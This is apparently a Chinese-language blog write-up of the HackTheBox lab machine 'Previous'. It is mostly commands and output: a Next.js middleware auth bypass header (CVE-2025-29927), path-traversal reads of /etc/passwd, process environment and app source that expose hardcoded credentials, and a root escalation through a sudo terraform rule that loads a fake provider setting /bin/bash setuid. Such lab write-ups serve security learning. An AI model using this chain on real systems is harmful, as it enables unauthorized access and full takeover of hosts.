跳过正文

HTB-Previous

·1914 字·9 分钟
HTB-Machine Linux Hackthebox
HYH
作者
HYH
一名专注于网络安全、渗透测试与 CTF 挑战的技术爱好者,热衷于记录实战经验、分享工具与技术,致力于持续学习与成长。
目录

Box Info
#

OS Difficulty
Linux Medium

Nmap
#

[root@Hacking] /home/kali  
❯ nmap previous.htb -A    

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)

Dirsearch
#

[root@Hacking] /home/kali  
❯ dirsearch -u http://previous.htb 

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                
 (_||| _) (/_(_|| (_| )                                                                                                                         
                                                                                                                                                
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://previous.htb/

[10:42:11] Scanning:                                                                                                                            
[10:42:44] 307 -    40B - /api.json  ->  /api/auth/signin?callbackUrl=%2Fapi.json
[10:42:44] 307 -    39B - /api.php  ->  /api/auth/signin?callbackUrl=%2Fapi.php
[10:42:44] 307 -    40B - /api-docs  ->  /api/auth/signin?callbackUrl=%2Fapi-docs
[10:42:44] 307 -    35B - /api  ->  /api/auth/signin?callbackUrl=%2Fapi
[10:42:44] 307 -    39B - /api-doc  ->  /api/auth/signin?callbackUrl=%2Fapi-doc
[10:42:44] 307 -    39B - /api.log  ->  /api/auth/signin?callbackUrl=%2Fapi.log
[10:42:44] 307 -    60B - /api/2/issue/createmeta  ->  /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[10:42:44] 307 -    38B - /api.py  ->  /api/auth/signin?callbackUrl=%2Fapi.py
[10:42:44] 307 -    41B - /api/api  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[10:42:44] 307 -    46B - /api/api-docs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
[10:42:44] 307 -    52B - /api/cask/graphql  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql
[10:42:44] 307 -    45B - /api/apidocs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[10:42:44] 307 -    49B - /api/config.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fconfig.json
[10:42:44] 307 -    60B - /api/apidocs/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[10:42:44] 307 -    43B - /api/batch  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fbatch
[10:42:44] 307 -    54B - /api/application.wadl  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[10:42:44] 307 -    44B - /api/config  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fconfig

<skip>

进入网页可以看到首页是PreviousJS

然后点击Get Started进入登录页面

CVE-2025-29927
#

搜索相关漏洞,可以发现有一个绕过身份认证的

漏洞利用方式就是在HTTP头中添加如下

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Param Fuzz
#

不过好像没法直接绕过登录,这里针对/api目录进行扫描是否存在需要身份认证的接口

[root@Hacking] /home/kali/Previous  
❯ dirsearch -u http://previous.htb/api -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                
 (_||| _) (/_(_|| (_| )                                                                                                                         
                                                                                                                                                
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://previous.htb/

[20:16:22] Scanning: api/                                                                                                                       
[20:16:24] 308 -    22B - /api/%2e%2e//google.com  ->  /api/%2E%2E/google.com
[20:16:43] 400 -    64B - /api/auth/admin                                   
[20:16:43] 400 -    64B - /api/auth/adm
[20:16:43] 400 -    64B - /api/auth/login.asp
[20:16:43] 400 -    64B - /api/auth/login.php
[20:16:43] 400 -    64B - /api/auth/login
[20:16:43] 400 -    64B - /api/auth/login.aspx                              
[20:16:43] 400 -    64B - /api/auth/login.jsp
[20:16:43] 400 -    64B - /api/auth/login.htm
[20:16:43] 400 -    64B - /api/auth/logon
[20:16:43] 400 -    64B - /api/auth/login.html
[20:16:43] 302 -     0B - /api/auth/signin  ->  /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000
[20:16:43] 308 -    28B - /api/axis2-web//HappyAxis.jsp  ->  /api/axis2-web/HappyAxis.jsp
[20:16:43] 308 -    23B - /api/axis//happyaxis.jsp  ->  /api/axis/happyaxis.jsp
[20:16:43] 308 -    34B - /api/axis2//axis2-web/HappyAxis.jsp  ->  /api/axis2/axis2-web/HappyAxis.jsp
[20:16:46] 308 -    56B - /api/Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  /api/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[20:16:50] 400 -    28B - /api/download                                     
[20:16:51] 308 -    43B - /api/engine/classes/swfupload//swfupload.swf  ->  /api/engine/classes/swfupload/swfupload.swf
[20:16:51] 308 -    46B - /api/engine/classes/swfupload//swfupload_f9.swf  ->  /api/engine/classes/swfupload/swfupload_f9.swf
[20:16:52] 308 -    31B - /api/extjs/resources//charts.swf  ->  /api/extjs/resources/charts.swf
[20:16:55] 308 -    41B - /api/html/js/misc/swfupload//swfupload.swf  ->  /api/html/js/misc/swfupload/swfupload.swf
                                                                             
Task Completed                                                                                                                                 

其中有一个/api/download的路径看起来很可疑,尝试参数爆破

[root@Hacking] /home/kali/Previous  
❯ ffuf -u 'http://previous.htb/api/download?FUZZ=a' -w /usr/share/fuzzDicts/paramDict/AllParam.txt -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -mc all -fw 2

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?FUZZ=a
 :: Wordlist         : FUZZ: /usr/share/fuzzDicts/paramDict/AllParam.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 2
________________________________________________

example                 [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 110ms]
:: Progress: [8603/74332] :: Job [1/1] :: 242 req/sec :: Duration: [0:00:25] :: Errors: 0 ::

发现有一个example参数有特殊回显

[root@Hacking] /home/kali/Previous  
❯ curl 'http://previous.htb/api/download?example=aaa' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' -v
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
*   Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=aaa HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.14.1
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
> 
* Request completely sent off
< HTTP/1.1 404 Not Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 28 Aug 2025 12:06:49 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< ETag: "c8wflmak5q"
< Vary: Accept-Encoding
< 
* Connection #0 to host previous.htb left intact
{"error":"File not found"}#      

LFI
#

通过curl可以查看到,似乎这个example参数是用于下载文件的,这里直接尝试/etc/passwd

[root@Hacking] /home/kali/Previous  
❯ curl 'http://previous.htb/api/download?example=../../../../etc/passwd' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'   
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

发现node和nextjs两个用户,查看一下环境变量,发现启动路径是/app。

[root@Hacking] /home/kali/Previous  
❯ curl 'http://previous.htb/api/download?example=../../../../proc/self/environ' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'  --output -
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22S
HLVL=1
PORT=3000
HOME=/home/nextjsPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production#       

搜索查看一下nextjs的目录示例

my-next-app/
├── app/
│   ├── layout.js        // 根布局
│   ├── page.js          // 首页
│   ├── about/
│   │   ├── layout.js    // /about 的布局
│   │   └── page.js      // /about 页面
│   ├── blog/
│   │   ├── layout.js    // /blog 的布局
│   │   ├── page.js      // /blog 列表页
│   │   └── [slug]/
│   │       └── page.js  // /blog/:slug 详情页
│   └── dashboard/
│       ├── layout.js    // /dashboard 的布局
│       └── page.js      // /dashboard 页面
├── public/
│   ├── logo.png         // 静态资源
│   └── favicon.ico      // 网站图标
├── node_modules/        // 项目依赖
├── package.json         // 项目配置文件
├── next.config.js       // Next.js 配置文件
└── .next/               // 构建输出目录

尤其是这个.next/目录,下面详细展开

/app/.next
├── build-manifest.json      # 打包文件清单
├── prerender-manifest.json  # 预渲染页面清单
├── server/
│   ├── pages/               # 服务端渲染代码 (SSR)
│   │   └── api/             # API 路由的后端实现
│   └── app/                 # App Router 的后端实现 (Next.js 13+)
├── static/
│   └── chunks/              # 打包好的 JS 代码
├── cache/                   # 编译缓存
└── routes-manifest.json     # 路由配置(关键文件)

从这个目录可以直接看到路由配置的相关信息

[root@Hacking] /home/kali/Previous  
❯ curl 'http://previous.htb/api/download?example=../../../../app/.next/routes-manifest.json' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' -s | jq
{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [],
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]",
      "regex": "^/api/auth/(.+?)(?:/)?$",
      "routeKeys": {
        "nxtPnextauth": "nxtPnextauth"
      },
      "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
    },
    {
      "page": "/docs/[section]",
      "regex": "^/docs/([^/]+?)(?:/)?$",
      "routeKeys": {
        "nxtPsection": "nxtPsection"
      },
      "namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
    }
  ],
  "staticRoutes": [
    {
      "page": "/",
      "regex": "^/(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/(?:/)?$"
    },
    {
      "page": "/docs",
      "regex": "^/docs(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs(?:/)?$"
    },
    {
      "page": "/docs/components/layout",
      "regex": "^/docs/components/layout(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/components/layout(?:/)?$"
    },
    {
      "page": "/docs/components/sidebar",
      "regex": "^/docs/components/sidebar(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/components/sidebar(?:/)?$"
    },
    {
      "page": "/docs/content/examples",
      "regex": "^/docs/content/examples(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/content/examples(?:/)?$"
    },
    {
      "page": "/docs/content/getting-started",
      "regex": "^/docs/content/getting\\-started(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/docs/content/getting\\-started(?:/)?$"
    },
    {
      "page": "/signin",
      "regex": "^/signin(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/signin(?:/)?$"
    }
  ],
  "dataRoutes": [],
  "rsc": {
    "header": "RSC",
    "varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
    "prefetchHeader": "Next-Router-Prefetch",
    "didPostponeHeader": "x-nextjs-postponed",
    "contentTypeHeader": "text/x-component",
    "suffix": ".rsc",
    "prefetchSuffix": ".prefetch.rsc",
    "prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
    "prefetchSegmentSuffix": ".segment.rsc",
    "prefetchSegmentDirSuffix": ".segments"
  },
  "rewriteHeaders": {
    "pathHeader": "x-nextjs-rewritten-path",
    "queryHeader": "x-nextjs-rewritten-query"
  },
  "rewrites": []
}

其中有我们关注的认证逻辑部分,/api/auth/[...nextauth]

[root@Hacking] /home/kali/Previous  
❯ curl 'http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'   

---
"use strict";
const NextServerRuntime = require("next/dist/compiled/next-server/pages-api.runtime.prod.js");
const CredentialsProvider = require("next-auth/providers/credentials");
const NextAuth = require("next-auth");

// ==== 工具函数 ====
function M(n, r) {
  return r in n
    ? n[r]
    : "then" in n && typeof n.then === "function"
    ? n.then(n => M(n, r))
    : typeof n === "function" && r === "default"
    ? n
    : void 0;
}

const RouteKind = (() => {
  const e = {};
  e.PAGES = "PAGES";
  e.PAGES_API = "PAGES_API";
  e.APP_PAGE = "APP_PAGE";
  e.APP_ROUTE = "APP_ROUTE";
  e.IMAGE = "IMAGE";
  return e;
})();

// ==== NextAuth 配置 ====
const authOptions = {
  session: {
    strategy: "jwt"
  },
  providers: [
    CredentialsProvider({
      name: "Credentials",
      credentials: {
        username: { label: "User", type: "username" },
        password: { label: "Password", type: "password" }
      },
      authorize: async (credentials) => {
        if (
          credentials?.username === "jeremy" &&
          credentials.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes")
        ) {
          return { id: "1", name: "Jeremy" };
        }
        return null;
      }
    })
  ],
  pages: {
    signIn: "/signin"
  },
  secret: process.env.NEXTAUTH_SECRET
};

// ==== 导出 API ====
const authHandler = NextAuth(authOptions);
const config = M({ default: authHandler }, "config");
const defaultExport = M({ default: authHandler }, "default");

const { PagesAPIRouteModule } = require("next/dist/compiled/next-server/pages-api.runtime.prod.js");

const routeModule = new PagesAPIRouteModule({
  definition: {
    kind: RouteKind.PAGES_API,
    page: "/api/auth/[...nextauth]",
    pathname: "/api/auth/[...nextauth]",
    bundlePath: "",
    filename: ""
  },
  userland: { default: authHandler }
});

module.exports = {
  default: defaultExport,
  config,
  routeModule
};

其中有我们想要的用户凭证

username: jeremy
password: MyNameIsJeremyAndILovePancakes

这里可以直接登录上去

-bash-5.1$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash                                                                                                                             
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                                                                           
bin:x:2:2:bin:/bin:/usr/sbin/nologin                                                                                                                                      
sys:x:3:3:sys:/dev:/usr/sbin/nologin                                                                                                                                      
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
-bash-5.1$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:3a:91 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.83/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:ac:d8:d6:d4 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-afcb879659ce: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:0e:32:ab:d7 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-afcb879659ce
       valid_lft forever preferred_lft forever
6: veth09b9b67@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-afcb879659ce state UP group default 
    link/ether 26:87:37:78:da:48 brd ff:ff:ff:ff:ff:ff link-netnsid 0

看起来之前的web是跑在容器里面的

Root
#

查看sudo,Terraform 是一个 基础设施即代码(IaC, Infrastructure as Code)工具,用于定义、部署和管理云资源或本地基础设施。

-bash-5.1$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

!env_reset不会清空环境变量,但是env_delete+=PATH会清空路径变量。先进/opt/examples发现没有写入权限,但是有写好的配置

-bash-5.1$ ls -al
total 28
drwxr-xr-x 3 root root 4096 Aug 28 12:40 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 28 12:40 terraform.tfstate
-bash-5.1$ cat main.tf 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}
-bash-5.1$ 

来到官网查看一下可以使用的环境变量

找到一个可以控制配置文件的变量,接下来进行提权步骤。 首先创建一个provider程序

jeremy@previous:~$ cat /home/jeremy/privesc/terraform-provider-examples_v0.1_linux_amd64 
#!/bin/bash
chmod u+s /bin/bash
jeremy@previous:~$ chmod +x /home/jeremy/privesc/terraform-provider-examples_v0.1_linux_amd64

dev_overrides 指向放 provider 的目录

jeremy@previous:~$ cat /home/jeremy/privesc/dev.tfrc 
provider_installation {
  dev_overrides {
    "previous.htb/examples" = "/home/jeremy/privesc"
  }
  direct {}
}

使用 Terraform 执行

jeremy@previous:~$ export TF_CLI_CONFIG_FILE=/home/jeremy/privesc/dev.tfrc
jeremy@previous:~$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
│ Warning: Provider development overrides are in effect
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /home/jeremy/privesc
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
│ Error: Failed to load plugin schemas
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to
│ instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message: 
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│ Additional notes about plugin:
│   Path: /home/jeremy/privesc/terraform-provider-examples_v0.1_linux_amd64
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│ ..
jeremy@previous:~$ ls -al  /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

拿到flag

Reply by Email